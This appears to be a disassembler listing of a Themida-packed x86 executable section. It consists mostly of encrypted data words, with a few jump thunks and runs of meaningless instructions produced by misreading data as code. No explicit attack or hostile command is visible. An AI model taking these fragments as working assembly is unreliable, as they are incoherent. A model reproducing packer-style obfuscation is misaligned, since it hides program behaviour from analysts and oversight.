		dd 0F4466345h, 0E43BF8Dh, 71E1340Ah, 8CBF4101h,	9583228h
		dd 6A98F8Fh, 7196340Ah,	8D046103h, 98532D9h, 9C222ECh
		dd 91756504h, 559928E7h, 392FEEFAh, 43F1D781h, 0B3706555h
		dd 5251F55Dh, 86BDB362h, 77473D01h, 0BA613204h,	0FC8B2B6h
		dd 7BDD3D6Ch, 0E02C3204h, 9163215h, 2DAE58C0h, 9B12181Bh
		dd 6120C523h, 96057FF8h, 713154BFh, 67DCD0Fh, 92C6281h
		dd 5F165804h, 90B31ECh,	0CADB1204h, 2DB6BB5Ah, 2D25B300h
		dd 9B02800h, 0CA0E7404h, 0A066164h, 0BBC1BE91h,	954DB19h
		dd 9EF3204h, 9C1DA55h, 50413204h, 45396BC7h, 4DD93620h
		dd 9353620h, 58573204h,	0E9FE32C7h, 82B703D3h, 7CD9399h
		dd 6A11902h, 359E9B3h, 9583204h, 0D8DD8805h, 39D0F4Eh
		dd 926DB03h, 9EF3204h, 9C1DA57h, 52413204h, 553969C7h
		dd 4DD93620h, 93B3620h,	5A553204h, 2E857EC7h, 9848AE7h
		dd 9C4B3204h, 0F6F3845h, 59688D0Bh, 953DB64h, 25663204h
		dd 0F7532883h, 4966BE0Fh, 838A52D5h, 9C23204h, 6800C18Eh
		dd 8294368Dh, 768D799h,	0B791BF02h, 84102152h, 1A574B89h
		dd 5CA68A02h, 8CC14562h, 0F6F28A9h, 2C8CFD2Fh, 7C4C0508h
		dd 8DA5109h, 0A5320409h, 4B6FC754h, 0E0362065h,	0A636204Dh
		dd 5E98309h, 6A58A4F3h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0BDDCC357h,	0D8BFB08Fh
		dd 577A0B3Ch, 359D8B59h, 0B060E2Dh, 5A840FC0h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0B119C351h, 0D1B58DE2h, 0E9060E4Dh, 0Dh
		dd 55451B93h, 0F1F2D456h, 0C98FAC99h, 0F98B66BCh, 3B8h
		dd 2D68000h, 6870Fh, 0E3810000h, 42160BC6h, 800FE6FFh
		dd 5, 0A7E78166h, 8BF940BDh, 2DBD8BC0h,	83060E2Eh, 0E0E21BDh
		dd 9750006h, 0FC5BD83h,	7400060Eh, 8B535019h, 403B8C0h
		dd 85890000h, 60E15C5h,	0A8D39D8Dh, 0D3FF0610h,	0BD83585Bh
		dd 60E0FC5h, 50177400h,	403B853h, 85890000h, 60E15C5h
		dd 0A5749D8Dh, 0D3FF0610h, 8166585Bh, 66F758F3h, 0AB69F281h
		dd 29DD8D29h, 0C08B060Eh, 32061F5h, 3C2780ABh, 0EA9C6730h
		dd 320E8639h, 0A78D0136h, 340C18B3h, 3D05A9CAh,	3281BFB2h
		dd 61406B36h, 322002DEh, 0F14B2136h, 1654886Dh,	16408032h
		dd 32021932h, 0F1524236h, 190077E3h, 34C40E3Ch,	0B3200136h
		dd 19A89BE0h, 58B76738h, 320EE904h, 33DB0136h, 7929C967h
		dd 0C5A11AD9h, 3595B435h, 0B17A0738h, 3C3FFC8Bh, 0B6070130h
		dd 32040106h, 320367DFh, 67016B36h, 328002DEh, 0F11D2136h
		dd 164C886Bh, 16548032h, 32081432h, 0F1514436h,	0B50DF1E4h
		dd 32010130h, 113D84BFh, 0F2F20738h, 39C95166h,	0C1100136h
		dd 0B60873E4h, 7B8C18C1h, 0BB5C6210h, 326B2532h, 3283E961h
		dd 6D600136h, 4EA95EF5h, 76910512h, 321F0512h, 65430136h
		dd 2725E1F5h, 0E1CA81A1h, 16CC0039h, 0E8C167C8h, 0BB78CE97h
		dd 3C0BA8B3h, 0B3076130h, 32040132h, 0B0FDB850h, 0E8EA8050h
		dd 0F2036026h, 8BFD881Ah, 0B9260F3Ah, 540BB73Eh, 54F449BDh
		dd 0CD3238B7h, 328A8539h, 8C670136h, 0F3031478h, 63DD883Fh
		dd 0B2260F25h, 0B71FE80Fh, 32080199h, 30DB8050h, 33438A12h
		dd 0B788F9BDh, 348E2F73h, 322AC935h, 3223E961h,	6D300136h
		dd 4E815EF5h
		dd 76850512h, 321E0512h, 65460136h, 2BBF54F5h, 0B1279EF6h
		dd 852FE707h, 37D182EFh, 0DA5B015Ch, 32040135h,	69C15A16h
		dd 36255DBFh, 36A445B7h, 32400123h, 8CE35275h, 0A2298000h
		dd 3D83427Dh, 32044BB3h, 320AE836h, 4C2D0136h, 3EAF4D68h
		dd 0BFCD4D31h, 342E4CE7h, 3210028Eh, 60086B36h,	320402DEh
		dd 0F1582136h, 1655886Ch, 16C48032h, 32401732h,	0F1724336h
		dd 0BB874AC6h, 3C1C5483h, 3DE5FE30h, 320207BAh,	2F940036h
		dd 53860F22h, 1301B41Fh, 3CC80738h, 0A8100136h,	0C3A3F600h
		dd 1C92C746h, 4A53D050h, 0E38C88DDh, 6C860F3Fh,	6FCEBCBBh
		dd 0BFAD0725h, 34035E9Eh, 0A08B758Eh, 0E7813237h, 19040F21h
		dd 320C0F9h, 3C2780ABh,	0EA9C6730h, 320E8639h, 0A78D0136h
		dd 340C18B3h, 3D05A9CAh, 0F305E983h, 6AC08BA4h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 49F1C357h, 0BE8D34ADh, 581922ABh, 0F555BB66h, 9D8DC38Bh
		dd 60E1781h, 2AB8h, 55858900h, 0E8060E19h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_59F63B
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E6h
		dd 9 dup(0E6000077h)
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F63B:				; CODE XREF: Themida_:0059F60Cj
		jmp	loc_59F655
; ---------------------------------------------------------------------------
		dd 57EEB50Fh, 4	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_59F655:				; CODE XREF: Themida_:loc_59F63Bj
		jmp	loc_59FBA4
; ---------------------------------------------------------------------------
		dw 1D14h
		dd 0F7F38E52h, 0DCD77236h, 0C0BA5519h, 0A49C37FBh, 78EC17DBh
		dd 884C150Dh, 692DF4EDh, 4F13D0CEh, 34F8B7B4h, 3D5C1DE8h
		dd 955D7AD0h, 0B9B67E2Ch, 0B03DEFAh, 0E6E37E42h, 5C000B27h
		dd 23AB069Fh, 52C22F9Dh, 0E127ACCEh, 79761166h,	0F4939EBAh
		dd 611834FBh, 0B475710Ch, 0EF400298h, 28ECABA8h, 0ED28F8Dh
		dd 9CB87573h, 0E501C8C1h, 314D0E0Ah, 17226526h,	239E5B69h
		dd 0ABC78884h, 0C4E738B6h, 4E95E6A4h, 34CF9350h, 0DAA97837h
		dd 6917FE19h, 82D7525Bh, 172F6D6Ah, 404B5B69h, 0BAD4AE9Ch
		dd 3F944B5Fh, 0B54270C1h, 72AFF581h, 0BE13DAD3h, 5CF2h
		dd 0B9B68400h, 0A4E1DEFAh, 0BE5B69B0h, 9938AF00h, 40C7889Dh
		dd 5B69B0h, 13EE0A85h, 853C5815h, 1F7A3B0Ah, 0B35B69B0h
		dd 9661E338h, 90AFF64Ch, 1, 0D5BAB622h,	839F1AD7h, 0CFEBACA8h
		dd 6635FAF4h, 0B0B3D697h, 940F5B69h, 0CF91273Fh, 563B377Eh
		dd 5C209B58h, 4105C4C1h, 0F5BEB6D3h, 4102FED9h,	61B23025h
		dd 9559221Ah, 6F3EFDFAh, 0B0B8DFA0h, 74185B69h,	0A4B332A7h
		dd 8F5ED958h, 69674BCEh, 378C075Bh, 5D49441Fh, 110EE2FDh
		dd 556CAE52h, 0B85726A1h, 5559FDBAh, 602D614Ch,	0EF50D62h
		dd 3ACDFB4Ch, 0ECAFF56Bh, 58h, 0F5BEB67Eh, 0EC03FED9h
		dd 69B0EC2Bh, 6EE9645Bh, 0A9FABC52h, 4B658E32h,	588F2371h
		dd 0A7706803h, 807918E3h, 0D1C964B9h, 1711EC08h, 8D4F3652h
		dd 3BF90E3Ch, 4D2DAFF6h, 0BF000000h, 0D9F5BEB6h, 2D072ACEh
		dd 342CFF13h, 894644DFh, 0E435B76Dh, 0BBB8A59Dh, 4FBD81FCh
		dd 93F6B786h, 2F5B69B0h, 0B8D49390h, 0E9E78601h, 459102Ch
		dd 90AC6D69h, 69B07193h, 62B3715Bh, 0F64BC334h,	0CCC564AFh
		dd 1E4B005h, 76000000h,	0DCF8BBB6h, 29450401h, 77BE0FCDh
		dd 36F5B97Ch, 2FF0BF02h, 6177B405h, 0D57948C3h,	0AFF28F3h
		dd 0AF703F37h, 0A2980668h, 186DE8h, 226526F5h, 0C6A29806h
		dd 0A4430AC9h, 11C8E4ABh, 0A9A64196h, 8E8B26EAh, 0D9A8B3CFh
		dd 9806F118h, 81D651A2h, 980647C4h, 79CA4CA2h, 5A523532h
		dd 1FBE7591h, 21E56025h, 0AECA8986h, 480704A3h,	735B58F3h
		dd 5E550449h, 0FBF49344h, 0E6611834h, 0ABA94817h, 5A1BD2EEh
		dd 0A298733Fh, 0ABC31893h, 0A0E738B6h, 0FFC8C0A3h, 0B93EC084h
		dd 6EB60488h, 0BA0FD6CFh, 190EEh, 0A6928000h, 0B4AD4C1Bh
		dd 910CCDC9h, 221FBE75h, 3B904763h, 11D2A170h, 5B69B0F6h
		dd 0BD7ACF4Ah, 6177E267h, 0AF8AA621h, 0B7D0CAB2h, 7FC66EDCh
		dd 0EFA6C283h, 1F0FD074h, 27F6F21Bh, 504DE8ACh,	9D9A7591h
		dd 4FCDC2DEh, 0F7B887FEh, 0A298C690h, 0C560B530h, 6B3A09C8h
		dd 98C66FAAh, 1368E3A2h, 0EEE98853h, 3B340F2Bh,	26A15874h
		dd 0D5A84FD1h, 547EB604h, 10000000h, 4918A992h,	69B02188h
		dd 6E12E1DBh, 0A886A87Ah, 0FD1CDDB8h, 55DB6988h, 46435FDAh
		dd 0DB6988C3h, 70E738B6h, 88B9E0A1h, 4441DB69h,	0EBB26985h
		dd 86DCC70h, 0B2147D79h, 0D09D9E5Dh, 6923880Fh,	52CD48DBh
		dd 2367C283h, 0A01B5B69h, 0C792DCh, 86200000h, 0D72CE9E7h
		dd 0D2A12018h, 77B02311h, 2ACE9D61h, 954D1E41h,	8E09CA72h
		dd 6AA29B41h, 0DA91AD6Eh, 0FEF99813h, 0ED681F3Bh, 53F7C6D1h
		dd 287687Bh, 13763741h,	0AFA29B70h, 65A46534h, 0DDA29B70h
		dd 75720D62h, 5A57F2B6h, 827F9Bh, 0E8A29B71h, 330E2AEDh
		dd 0A2597538h, 26420B03h, 688BDC5Ah, 0D41B6CEEh, 955418D7h
		dd 8E4F1EA3h, 988FAF4Bh, 9E3D0C87h, 758DE2A1h, 0BFDA9B6Ah
		dd 13A8B6EEh, 0ABA84398h, 104204C3h, 0D954B01Fh, 52A361BDh
		dd 57443CDBh, 31F9A5Bh,	38F74Ch, 0F34EF2C1h, 1455FFAFh
		dd 0D0B39B61h, 0E171AC2Ch, 69854642h, 0D1925DB2h, 92A2E1F6h
		dd 8DC31EC2h, 79A844CFh, 22E66124h, 1BA692B4h, 104C8B4Ch
		dd 0DD7C617Dh, 9373F6E2h, 0E938B47Fh, 12D3CF6Eh, 637FFABDh
		dd 8CC8B88h, 95B1706Dh,	2BF2EB8Ah, 4603580Fh, 548B3801h
		dd 0D41B6C2Eh, 0B95418D7h, 6E1FDBCh, 0CF2B470Ch, 7C79C011h
		dd 5E1FEEBDh, 0FC87583Bh, 7C71C97h, 94B06F6Ch, 9EF9BA89h
		dd 32FC8758h, 31862B7h,	0A6000000h, 0BFB68133h,	0FDD8F4h
		dd 4C4A2541h, 9F98738Fh, 0E9E1BCD8h, 31290420h,	77714C68h
		dd 0C0BB96B2h, 0A06E1FDh, 68692D49h, 29C5h, 55242489h
		dd 4BDh, 246C0100h, 22685D04h, 89000051h, 968243Ch, 89000043h
		dd 0BD55242Ch, 1B702CECh, 814DD5F7h, 3D0EA0F5h,	93BE565Ch
		dd 81184862h, 27F748C6h, 5EF52162h, 35ED8145h, 89321CF9h
		dd 8B545DEFh, 0C481242Ch, 4, 51FA8952h,	4D89D189h, 8B5A5908h
		dd 8951242Ch, 4C181E1h,	81000000h, 4C1h, 240C8700h, 243C8B5Ch
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFB1904h
		dd 7EF2BBC0h, 30DE7CC4h, 0C712F4A2h
; ---------------------------------------------------------------------------


loc_59FBA4:				; CODE XREF: Themida_:loc_59F655j
		mov	eax, 613650Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 31h,	6, 13h
		dd 2483AF04h, 986E881Ah, 0D05E8F04h, 0FE53D53Dh, 0A3811955h
		dd 0E6BA5E2Ah, 0AD8D8D00h, 66061366h, 8B66FE8Bh, 0C58D89D7h
		dd 6A060E2Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 285EC352h, 8101E571h, 0DF7186C2h
		dd 8185C76Bh, 30060E08h, 6A000067h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0AA11C356h
		dd 0E49B8E58h, 0CE8CFh,	0E3B10000h, 0D6F3EA3Dh,	6C1DD919h
		dd 0EE9A9E8h, 27000000h, 9C52DBE4h, 0BC9634E0h,	9D67C918h
		dd 1FBB5BEBh, 0C71C1FC1h, 0E28D985h, 6,	4DBD8900h, 0FF060E03h
		dd 0E3099B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0B11D9C05h, 0BB654AA9h, 0B995FFE1h
		dd 0E9060E09h, 6, 0B2A0C26Bh, 6AA1DDh, 0F4595FFh, 0C08B060Eh
		dd 0F7FB39EBh, 0C87D4656h, 0E21B5AE4h, 0E31A9DA4h, 0AD8F501Ch
		dd 203243EAh, 61E8F430h, 0D7CF0B2Fh, 0BE92AC46h, 0C37BA643h
		dd 764888C2h, 17714AFDh, 108C4052h, 44FC11B4h, 0E81CF398h
		dd 14h,	0D581D386h, 1C3671BBh, 9AF01375h, 0AD8DDFF7h, 0B35BE270h
		dd 3098D89h, 895E060Eh,	0E08298Dh, 1BC68106h, 0E900006Fh
		dd 0Ch,	66D1D577h, 0F7C10DC2h, 0C75CA0CCh, 0BD29C92Bh
		dd 60E1DB5h, 800E148Bh,	0F281DBCBh, 37D22877h, 0F2812FB7h
		dd 21A41826h, 1C8B0Fh, 14E80000h, 0E6000000h, 0C10376D6h
		dd 0AFC6F8Dh, 2129C9C2h, 4A619D35h, 0B3AF052Dh,	0C2815FFEh
		dd 55351AF1h, 660E1489h, 0E953F98Bh, 0Fh, 9D0E8073h, 6C4AC6CCh
		dd 525A856Fh, 5FD0A8C5h, 8B03E983h, 0BD0349C3h,	60E043Dh
		dd 91C4F981h, 850FFFFFh, 14h, 31E58589h, 28E9060Eh, 56000000h
		dd 0E37A7015h, 0D02DD7BCh, 8E9h, 2D1F9D00h, 8DBE34C8h
		dd 0FF6AE996h, 0EA69FFFFh, 55512467h, 20E2BF3Ah, 0E9C64A40h
		dd 84h,	32DC1B84h, 726F6853h, 74756374h, 206F7420h, 72617473h
		dd 707574h, 1Bh	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A0DC3
; ---------------------------------------------------------------------------
		push	61369EFh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6136AB8h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6136C5Dh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6136CABh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6136D53h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	6136DDBh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	61371E4h
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	61374BDh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		push	61375CAh
		jmp	loc_55E1B4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0AA399AA6h, 901F808Eh, 7A096A78h
		db 64h,	56h
; ---------------------------------------------------------------------------


loc_59FEC6:				; CODE XREF: Themida_:0059FF33j
		cmc


loc_59FEC7:				; CODE XREF: Themida_:0059FECAj
		dec	bp
		inc	ecx
		loopne	loc_59FEC7
		jns	short near ptr loc_59FF35+2
		push	eax
		inc	esp
		jecxz	short loc_59FF26
		cmp	ch, [ebx+ecx*8]
		cmp	al, 21h
		adc	eax, 0FC0825B4h
		wait
		lea	esp, [eax-7Fh]
		sbb	eax, 0BC8F64BEh
		repe cmpsd
		add	ah, ch
; ---------------------------------------------------------------------------
		db 0D9h, 0Fh, 0BCh
		dd 0C932939Fh, 261D8160h, 96BC9578h, 0DD144924h, 342A9170h
		dd 0C3E99B86h, 174456F9h, 3C98F6Ah, 0C239AE33h,	565B3918h
		dd 0B000000h, 0BEE0BF28h, 1B957826h, 0B3A883F5h
; ---------------------------------------------------------------------------
		sar	byte ptr [ebx],	1


loc_59FF26:				; CODE XREF: Themida_:0059FED0j
		enter	0FFFFAAC5h, 9Eh
		aam	0AAh
		rol	ch, 1
		popf
		movsb
		cmp	cl, ch
		out	dx, al
		jno	short loc_59FEC6


loc_59FF35:				; CODE XREF: Themida_:0059FECCj
		test	[ebx-716548BAh], ebx
		sbb	al, 53h
		sub	eax, 0A77FEAC0h
		mov	dl, 0A8h
		mov	ch, 89h
		pop	ss
		dec	ebp
		and	[edi-38D090B2h], dh
		imul	ecx, [edi-25E7B56h], 0DC8F69C7h
		mov	dh, 44h
		popa
		cmp	edi, eax
		imul	ecx, [edi-46D7F12Ch], 39191644h
		push	0B8h
		sbb	[edx], al
		in	eax, 0D9h
		bsf	esp, [ebx+5D7ACD97h]
		sub	[edx], dl
		fcmovnb	st, st(5)
		mov	bh, 0EDh
		retn
; ---------------------------------------------------------------------------
		dw 8F59h
		dd 431FB65h, 3009C59Bh,	7DF41CDCh, 77EE049Ah, 3DAFD595h
		dd 14818DAAh, 0E95B6985h, 0F2C0A988h, 7C0B9577h, 50E35561h
		dd 37C62733h, 0A9440E1Ah, 0F1D03DB4h, 9B860746h, 0C5D9B821h
		dd 148F69CCh, 8DB37CEEh, 0F160552Ch, 0D0DCF584h, 0FD6ADC06h
		dd 7A74E81Eh, 2E9BC195h, 197A869Fh, 8F65718Ah, 0B2E5FD53h
		dd 0FC33874Dh, 0F100000Ch, 0DE6DCEDAh, 0C453B4C2h, 0AE3D9EACh
		dd 9A298A98h, 2F147581h, 78849DADh, 606E8817h, 495570FFh
		dd 303C59E8h, 0B594C1CFh, 8F64BDE9h, 2DB27F0h, 0ED7CDDE9h
		dd 0D763C4D0h, 0E14E85BAh, 86365D02h, 0ED8FE9Bh, 6A162F6Bh
		dd 1E18DE8Fh, 18C74EC3h, 0B97239h, 0DC450000h, 4023314Dh
		dd 8F6A0A5Eh, 53E3557Bh, 0F7D6E502h, 957826A7h,	0D8A20C32h
		dd 96606C85h, 782B76F3h, 6122F95h, 0E2F00A99h, 63800F70h
		dd 0FDF28D57h, 0FD3A1986h, 0E9B863Eh, 0BBB087E8h, 9C72DB48h
		dd 47CCEDDDh, 0D5B82AD3h, 957A7320h, 45D44167h,	24B3202Ch
		dd 3F998E0Ch, 0DB5D3E5Ch, 0B7DA771h, 0F6021BAAh, 0E5E0DA20h
		dd 0BA0ED4B2h, 0C33h, 3697A3BAh, 1C7D8BA7h, 667758Dh, 0F2536177h
		dd 0DD3E4A63h, 4D6676F8h, 3751E041h, 1E39C829h,	522B112h
		dd 5D8A98F9h, 64BC207Eh, 0A4F0B98Fh, 7CDDE902h,	63C4D0EDh
		dd 45536BFAh, 0CB77517Bh, 6AD9BE6Fh, 22ABA2Ch, 0E20FD9E5h
		dd 27049A79h, 0AFD59578h, 84F6041Ch, 67C8D4F1h,	0BB285B90h
		dd 862FF3DCh, 5822489Bh, 6A1DE5B5h, 0D462288Fh,	18C0980Dh
		dd 7BC39h, 16C0000h, 864h, 4E85BAB5h, 274902E1h, 9BEA9B86h
		dd 0A6997381h, 76D1195Fh, 0AD00CA34h, 0BA238490h, 8F010F2Bh
		dd 9D3DFFCh, 0ADAD5E66h, 65D197F6h, 0ED4E5A77h,	6B35415Eh
		dd 0A8F6D53Eh, 31282567h, 0F2BCCAE2h, 0AECB5EC8h, 4E4D30A2h
		dd 4C282567h, 0B28B482h, 43ADB9D6h, 0BA3653E2h,	66DC5FE9h
		dd 8F59C3F8h, 25ECABECh, 72F3528h, 41526CFBh, 25EC3C62h
		dd 0D779D28h, 14A71943h, 0FB8AEBF7h, 0D665D2DEh, 723CAEBCh
		dd 26FE2D7h, 854F5D73h,	137CE95Bh, 0ECD3CBAAh, 70062825h
		dd 0CFFBA43Eh, 56C83223h, 342EAC73h, 9C092F2Eh,	73E5F30Dh
		dd 1CA13A12h, 603FAC27h, 2825FA4Bh, 0BF9E82A8h,	0FA1A7DCEh
		dd 0BF06DC45h, 0AF12BA45h, 418E10F3h, 0C8A73DF8h, 3DF841D6h
		dd 0EE14DD03h, 35ACA17Ch, 4E0AE9C8h, 53794406h,	75865C89h
		dd 929EB7AAh, 6CC49EC8h, 704BBD2Eh, 0BC9B087Bh,	3DFC6252h
		dd 6BD44167h, 837B2302h, 385E31D9h, 0A1633C6h, 3A6A40A9h
		dd 82D26B67h, 3350E355h, 8B215127h, 35FB0A65h, 0A8EE1h
		dd 3C485F00h, 22304CDBh, 0C1A32C1h, 0F8061CABh,	0E3EF0897h
		dd 0B1B9D82h, 0F685E6F2h, 0DE6DCEDCh, 0C756B7C3h, 2F3D9EAAh
		dd 0BA7B2302h, 955E8F64h, 0D6E50249h, 7826A7F7h, 320C3295h
		dd 0CCD11DF0h, 5F359F74h, 0A6C79925h, 40E539FFh, 0AD00000Ah
		dd 9A298A96h, 800F707Eh, 6AF95A68h, 56E54654h, 0EBD0313Dh
		dd 34405969h, 1C2A44D3h, 5112CBBh, 0ECF815A4h, 71507D8Bh
		dd 8F64BA2Dh, 297E3ACh,	0DD6CD9E5h, 7A44B6C2h, 95020E27h
		dd 16E0EE06h, 41197AECh, 0B32E239Ah, 55446746h,	89AF9B86h
		dd 5199C6A5h, 481E5127h, 3897830h, 19F46683h, 0D740AD24h
		dd 0B2243248h, 0BAAB24CFh, 84E5BBD3h, 381D9FA0h, 62B17AECh
		dd 4CE3846h, 90FD7469h,	18E6A5BAh, 0A4BF2E41h, 4FBC2E98h
		dd 0B0709E70h, 88F51BCDh, 6FD0DCF9h, 0E1B7C3E0h, 7AB1907Dh
		dd 985DB177h, 55000009h, 42D1323Eh, 28B71826h, 12A10210h
		dd 0FE8DEEFCh, 9378D9E5h, 0DCE80111h, 0C4D2EC7Bh, 0ADB9D463h
		dd 94A0BD4Ch, 19F82533h, 8F64B985h, 23F8B54h, 0BC0FD9E5h
		dd 0CB3495A1h, 0CCE9203Ch, 1E456C0h, 957826FDh,	866422F8h
		dd 0D1502655h, 144F845Fh, 0C9AEC8A7h, 0B5DB9B8Ah, 3A50DF48h
		dd 0EEC8622Ch, 0C3D3BBFAh, 0C75ACC36h, 0AE3D9EAAh, 36445C91h
		dd 0ED8426Ch, 0CC96A2BBh, 7C525E79h, 0ACDB4B2Eh, 10EE4208h
		dd 0DD000009h, 0CA59BAC6h, 0B03FA0AEh, 9A298A98h, 86157684h
		dd 1B00616Dh, 64708999h, 4C5A7403h, 35415CEBh, 1C2845D4h
		dd 0A180ADBBh, 8F64B9FDh, 2C713DCh, 0DD6CD9E5h,	7C46B8C4h
		dd 6DA4C04Fh, 6CDE4854h, 0E6B0BCD9h, 0DC5A24h, 8591AEE3h
		dd 0EFAF8EBBh, 0EA957826h, 8FF05AC4h, 0AB79005h, 55EB433h
		dd 0BA640000h, 52E14E85h, 7E992C3Ah, 0C7EA872h,	8EB6C09Fh
		dd 592F9B8Bh, 669EBE6Bh, 5E5BFCEh, 0E73E20ECh, 0FA9059CBh
		dd 0CB416D50h, 0C7349EF2h, 689F1B38h, 0A4764F92h, 7DE647B1h
		dd 0FC78ADA7h, 0E7597AF8h, 0D7A1EE0Ch, 0D0DAB534h, 0CBD7F008h
		dd 8995AE01h, 333FDBFh,	87AF7502h, 6883127Bh, 225795Ch
		dd 1EB415F8h, 74939C22h, 0D749B3B2h, 8B0AD449h,	57F8B2h
		dd 0BAA80000h, 3E24FBCh, 9578269Bh, 0B788C49Ah,	709E0D79h
		dd 2B9F35FEh, 8AA88E0Ah, 2ACD9701h, 0B5DEF7B4h,	0C8E2B8E1h
		dd 5D3EF9C0h, 11252FA1h, 726D5BD0h, 0F713A253h,	83F51FE9h
		dd 18F1h, 5228A100h, 0DAF01658h, 32F6F2CCh, 0D431C537h
		dd 8000001h, 0E1536179h, 26BCBA51h, 0B35FF0Bh, 0B534D7A1h
		dd 0F60EE492h, 1A283ECDh, 49989EA8h, 0AC7723D4h, 23F8h
		dd 0BCBAA800h, 26316D4Ch, 0C3DE9578h, 5EC8EEB7h, 92D9F194h
		dd 0CE940EE4h, 1F047968h, 6B28AC77h, 0D8000000h, 74809928h
		dd 0BE0B2702h, 262C7251h, 87AD9578h, 0F6728B1Ah, 0AC0CE519h
		dd 0B983ED91h, 0AF851D8Fh, 662C38ABh, 759C11D0h, 0FE5330Bh
		dd 8E8883B1h, 0C759CB4Dh, 32h, 4FBCBA77h, 49A79E2h, 0D5957827h
		dd 0F1D03DAFh, 957826AFh, 0BAC6DF2Eh, 0F75CC6F0h, 440ABA1Fh
		dd 0B37AEFF2h, 79E330Ah, 4E000000h, 12201h, 0D801B500h
		dd 0B5000000h, 854FBCBAh, 0C86A13E2h, 838FAAEAh, 3E4C66B9h
		dd 2F071174h, 0B38349D6h, 5AF6B92Eh, 81DB88h, 0BA8B0000h
		dd 10D26BCh, 36A30D37h,	78264757h, 0A26C9295h, 9853BBFFh
		dd 6ACC92B5h, 2AE40277h, 572653h, 0BAD60000h, 3E24FBCh
		dd 9578269Bh, 85A2319Ah, 0A285AF79h, 957826FCh,	7C45B7DDh
		dd 895F8C56h, 0AE735980h, 71B9918Ah, 3663D37Ch,	1E805FCCh
		dd 0BB9577BBh, 7A402395h, 0D30297E8h, 43B8290Dh, 8AA02B4Bh
		dd 3F9982B4h, 0B0E7A7F0h, 0FA1DF700h, 99B0DE5h,	7, 7901B9h
		dd 2B50000h, 8A98B0E5h,	46526DC0h, 7EE8527Ch, 268A11B4h
		dd 667F9578h, 8463905Ah, 9578261Ah, 0EB0699BFh,	0C48E9CB6h
		dd 366309Ah, 0E3C83DF9h, 668359DDh, 0BA6DF95Ah,	12EA4FBCh
		dd 5A668382h, 0A9273D90h, 0C3376C84h, 723CA637h, 0CF6021Fh
		dd 0FDD13402h, 4B8DFF37h, 61957734h, 0BC05FD3h,	0FEFA7F33h
		dd 282FFFFFh, 0B2048099h, 20A08F1Dh, 0A9D39D07h, 2C2A337h
		dd 2570000h, 0DD6CD9E5h, 0C4EEB8C4h, 18358852h,	1C366D9Ch
		dd 9600C221h, 0FA695E35h, 440DAE8Dh, 0E0069B85h, 27277316h
		dd 0BDE68F69h, 4CC9C8E7h, 6957316Dh, 0A882A88Fh, 0A83B40DEh
		dd 20C7E8Ch, 938AD34h, 0F2813919h, 0C95BCDD9h, 3Fh, 4E85BA79h
		dd 365D02E1h, 0D8FE9B86h, 162F6B0Eh, 0BFD88F6Ah, 7996E9B3h
		dd 24EAA36Dh, 0A4B2CA12h, 0B946B0DAh, 30BF43F3h, 17410B17h
		dd 0C7A217A5h, 0C7C63918h, 99000000h, 1AE4F20Ah, 2EE7EF0h
		dd 0E20FD9E5h, 27049A79h, 0EE0B9578h, 11F019E2h, 9578268Dh
		dd 4ABC264Ch, 0C8929EB7h
		dd 0DF4C5875h, 0DA55E709h, 0CC3E9ADBh, 5D92AF02h, 405C3642h
		dd 45017154h, 0FAD93AA4h, 9577B96Fh, 0A9B7CD5Ch, 664A93CFh
		dd 5CCE174Bh, 33A0ACC9h, 0B07A88A4h, 0DCB31486h, 20FF6CE7h
		dd 9B885053h, 349D0A30h, 4B2ECCBh, 1278F67h, 0D7E3FC8Fh
		dd 0C2CEE776h, 0D81D94ECh, 54A86EACh, 507h, 62C3CFE6h
		dd 48A9B7D3h, 3293A1B9h, 1E7F8DA3h, 96A768Fh, 7992A224h
		dd 637D0C6Dh, 4A65F455h, 314EDD3Eh, 89B6C425h, 64B5F4AAh
		dd 0D01CE58Fh, 70DDE902h, 0E84CB59Ah, 1E90EF09h, 5112EBDh
		dd 0E50218A4h, 53E20FD9h, 39632D3Bh, 0B1734C7h,	0F39ED3AAh
		dd 0D9B8D66Ch, 9577EAC5h, 714EE14h, 0BBD76AC0h,	4FB9E3ADh
		dd 0A51C03E2h, 99BF9B85h, 1B34C32Ch, 42722C0Fh,	41678F69h
		dd 3A6205CFh, 628F6942h, 0C1F69E98h, 384F2592h,	0A0AEC623h
		dd 0AC0869C6h, 31EECD3Ah, 0AA957826h, 174C2384h, 740E456Ch
		dd 0DD472EEAh, 5D780770h, 7AFCDF51h, 0F8F6F5Ah,	0D7ED7CE9h
		dd 0D7783A0h, 879F2E9Bh, 0C12B3750h, 920CEB54h,	0A383488Ah
		dd 488ADAC4h, 10D9FF83h, 8A9608E7h, 1D438348h, 1E041B3h
		dd 83488AA3h, 6F4E5D78h, 83488A2Fh, 0F0B9C5E0h,	0AE7884A1h
		dd 43B01A84h, 0A13B966Dh, 4B65027Bh, 0DF49733Dh, 777C0C6Dh
		dd 30000000h, 7826E8B2h, 0FDDC4595h, 957826A1h,	7D46546Eh
		dd 930BEA57h, 46957826h, 0A0D3AE20h, 5D750465h,	3953E24Fh
